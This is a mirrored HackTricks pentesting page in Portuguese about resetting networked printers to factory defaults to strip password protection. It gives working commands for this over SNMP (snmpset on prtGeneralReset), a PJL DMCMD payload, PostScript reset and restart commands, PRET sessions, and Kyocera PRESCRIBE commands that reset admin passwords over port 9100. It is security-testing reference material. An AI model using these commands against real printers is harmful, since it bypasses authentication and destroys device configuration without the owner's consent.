mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-28 15:41:34 +00:00
87 lines
7.1 KiB
Markdown
87 lines
7.1 KiB
Markdown
<details>
|
|
|
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras formas de apoiar o HackTricks:
|
|
|
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
|
|
**Resetar** um dispositivo para as configurações de fábrica é uma funcionalidade crítica de segurança, pois **sobrescreve mecanismos de proteção** como senhas definidas pelo usuário. Isso geralmente pode ser feito pressionando uma **combinação especial de teclas** no **painel de controle** da impressora. Realizar tal reset a frio leva apenas segundos e, portanto, é um cenário realista para atacantes locais ou pentesters, que podem, por exemplo, entrar sorrateiramente na sala de cópias na hora do almoço. No entanto, o **acesso físico** ao dispositivo **nem sempre é uma opção**.
|
|
|
|
### SNMP
|
|
|
|
O Printer-MIB define o Objeto **prtGeneralReset** (**OID 1.3.6.1.2.1.43.5.1.1.3.1**) que permite a um atacante reiniciar o dispositivo (powerCycleReset(4)), resetar as configurações do NVRAM (resetToNVRAM(5)) ou restaurar as configurações de fábrica (resetToFactoryDefaults(6)) usando SNMP. Esse recurso/ataque é **suportado por uma grande variedade de impressoras** e remove todos os mecanismos de proteção como senhas definidas pelo usuário para o servidor web embutido. Embora os mecanismos de proteção possam ser eficientemente contornados, uma desvantagem prática dessa abordagem é que toda a configuração de **endereço IP estático será perdida**. **Se não houver** serviço DHCP disponível, o atacante **não** será capaz de **reconectar** ao dispositivo após resetá-lo para as configurações de fábrica.
|
|
|
|
**Resetar o dispositivo para as configurações de fábrica padrão** pode ser realizado usando o comando `snmpset` como mostrado abaixo (você precisa conhecer a **string da comunidade**, que na maioria dos casos é `public` por padrão):
|
|
```bash
|
|
snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6
|
|
```
|
|
### [PML](./#pml)/[PJL](./#pjl)
|
|
|
|
Em muitos cenários, um atacante não tem a capacidade de realizar solicitações SNMP devido a firewalls ou strings de comunidade SNMP desconhecidas. No entanto, em **dispositivos HP**, o **SNMP** pode ser transformado em sua **representação PML** e incorporar a solicitação dentro de um trabalho de impressão legítimo. Isso permite que um atacante **reinicie e/ou redefina o dispositivo** para as configurações de fábrica dentro de trabalhos de impressão comuns, conforme mostrado abaixo:
|
|
```bash
|
|
@PJL DMCMD ASCIIHEX="040006020501010301040106"
|
|
```
|
|
Qualquer pessoa pode reproduzir este ataque em impressoras HP, reiniciando ou redefinindo o dispositivo pode facilmente ser reproduzido usando [**PRET**](https://github.com/RUB-NDS/PRET):
|
|
```bash
|
|
./pret.py -q printer pjl
|
|
Connection to printer established
|
|
|
|
Welcome to the pret shell. Type help or ? to list commands.
|
|
printer:/> reset
|
|
printer:/> restart
|
|
```
|
|
### PostScript
|
|
|
|
PostScript oferece um recurso similar: O parâmetro do sistema **FactoryDefaults**, 'uma flag que, se **definida como true** **imediatamente antes** da **impressora ser desligada**, faz com que todos os parâmetros não voláteis revertam para seus valores **padrão de fábrica** na próxima vez que for ligada'. Deve-se notar que o próprio **PostScript** também tem a capacidade de **reiniciar** seu **ambiente**, mas requer uma **senha válida**. \
|
|
No entanto, o interpretador PostScript pode ser colocado em um **loop infinito**, conforme discutido em ataques de DoS de [processamento de documentos](http://hacking-printers.net/wiki/index.php/Document\_processing), o que obriga o usuário a **reiniciar manualmente** o dispositivo e, assim, redefinir a senha do PostScript.
|
|
|
|
Redefinir os parâmetros do sistema PostScript para os padrões de fábrica:
|
|
```bash
|
|
<< /FactoryDefaults true >> setsystemparams
|
|
```
|
|
Reinicie o interpretador PostScript e a memória virtual:
|
|
```bash
|
|
true 0 startjob systemdict /quit get exec
|
|
```
|
|
Qualquer pessoa pode reiniciar ou redefinir o interpretador PostScript de uma impressora, o que **pode ser facilmente reproduzido usando** [**PRET**](https://github.com/RUB-NDS/PRET):
|
|
```bash
|
|
./pret.py -q printer ps
|
|
Connection to printer established
|
|
|
|
Welcome to the pret shell. Type help or ? to list commands.
|
|
printer:/> reset
|
|
printer:/> restart
|
|
```
|
|
### PRESCRIBE
|
|
|
|
Para **dispositivos Kyocera**, as linguagens de descrição de página **PRESCRIBE** podem ser usadas para **redefinir o dispositivo** para as configurações de fábrica a partir de trabalhos de impressão comuns usando um dos comandos mostrados abaixo:
|
|
```bash
|
|
!R! KSUS "AUIO", "CUSTOM:Admin Password = 'admin00'"; CMMT "Drop the security level, reset password";
|
|
!R! ACNT "REST"; CMMT "Reset account code admin password";
|
|
!R! EGRE; CMMT "Reset the engine board to factory defaults";
|
|
!R! SIOP0,"RESET:0"; CMMT "Reset configuration settings";
|
|
```
|
|
Para reproduzir este ataque, abra uma conexão de rede crua com a porta 9100/tcp da impressora e **envie os comandos documentados acima**.
|
|
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras formas de apoiar o HackTricks:
|
|
|
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|